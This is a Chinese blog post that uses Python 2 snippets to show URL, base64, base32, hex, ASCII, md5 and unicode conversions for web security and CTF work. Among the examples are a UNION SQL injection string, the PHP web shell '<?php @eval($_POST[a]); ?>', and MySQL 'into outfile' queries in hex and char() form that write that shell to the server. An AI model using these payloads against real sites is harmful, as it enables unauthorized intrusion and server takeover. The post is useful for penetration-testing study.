python妙用之编码的转换详解


Posted in Python onApril 21, 2017

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

python妙用之编码的转换详解

python妙用之编码的转换详解

直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

总结

python实际上在实际使用中非常方便,编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累,如果有没有涉及到的地方,欢迎评论补充。好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
python定时检查某个进程是否已经关闭的方法
May 20 Python
pandas全表查询定位某个值所在行列的方法
Apr 12 Python
python实现键盘输入的实操方法
Jul 16 Python
Python实现一个带权无回置随机抽选函数的方法
Jul 24 Python
django 中QuerySet特性功能详解
Jul 25 Python
Windows系统Python直接调用C++ DLL的方法
Aug 01 Python
python2与python3爬虫中get与post对比解析
Sep 18 Python
TensorFlow实现保存训练模型为pd文件并恢复
Feb 06 Python
通过python连接Linux命令行代码实例
Feb 18 Python
pycharm中导入模块错误时提示Try to run this command from the system terminal
Mar 26 Python
python热力图实现简单方法
Jan 29 Python
教你怎么用Python处理excel实现自动化办公
Apr 30 Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
Python学习笔记之解析json的方法分析
Apr 21 #Python
Python正则抓取网易新闻的方法示例
Apr 21 #Python
Python中shape计算矩阵的方法示例
Apr 21 #Python
Python使用正则表达式抓取网页图片的方法示例
Apr 21 #Python
用python找出那些被“标记”的照片
Apr 20 #Python
python实现12306火车票查询器
Apr 20 #Python
You might like
php实现网页缓存的工具类分享
2015/07/14 PHP
PHP正则表达式入门教程(推荐)
2016/05/18 PHP
Thinkphp实现短信验证注册功能
2016/10/18 PHP
PHPExcel中文帮助手册|PHPExcel使用方法(分享)
2017/06/09 PHP
[原创]js与自动伸缩图片 自动缩小图片的多浏览器兼容的方法总结
2007/03/12 Javascript
JavaScript 设计模式学习 Singleton
2009/07/27 Javascript
JavaScript 获取当前时间戳的代码
2010/08/05 Javascript
JS的get和set使用示例
2014/02/20 Javascript
jquery实现侧边弹出的垂直导航
2014/12/09 Javascript
了不起的node.js读书笔记之node.js中的特性
2014/12/22 Javascript
zepto.js中tap事件阻止冒泡的实现方法
2015/02/12 Javascript
jQuery实现简易的天天爱消除小游戏
2015/10/16 Javascript
javascript获取以及设置光标位置
2017/02/16 Javascript
js实现功能比较全面的全选和多选
2017/03/02 Javascript
理解Angular的providers给Http添加默认headers
2017/07/04 Javascript
ES6扩展运算符的用途实例详解
2017/08/20 Javascript
js闭包学习心得总结
2018/04/17 Javascript
jQuery实现常见的隐藏与展示列表效果示例
2018/06/04 jQuery
基于vue和react的spa进行按需加载的实现方法
2018/09/29 Javascript
微信小程序实现点赞、取消点赞功能
2018/11/02 Javascript
JavaScript使用小插件实现倒计时的方法讲解
2019/03/11 Javascript
微信小程序获取用户信息的两种方法wx.getUserInfo与open-data实例分析
2019/05/03 Javascript
详解小程序用户登录状态检查与更新实例
2019/05/15 Javascript
弱类型语言javascript中 a,b 的运算实例小结
2019/08/07 Javascript
Layui多选只有最后一个值的解决方法
2019/09/02 Javascript
vue.js页面加载执行created,mounted的先后顺序说明
2020/11/07 Javascript
python连接MySQL、MongoDB、Redis、memcache等数据库的方法
2013/11/15 Python
[原创]使用豆瓣提供的国内pypi源
2017/07/02 Python
Pandas统计重复的列里面的值方法
2019/01/30 Python
Python实现CNN的多通道输入实例
2020/01/17 Python
解决pyPdf和pyPdf2在合并pdf时出现异常的问题
2020/04/03 Python
CK澳大利亚官网:Calvin Klein澳大利亚
2020/12/12 全球购物
2015年班长个人工作总结
2015/04/03 职场文书
罗马假日观后感
2015/06/08 职场文书
Oracle中update和select 关联操作
2022/01/18 Oracle
vue 自定义组件添加原生事件
2022/04/21 Vue.js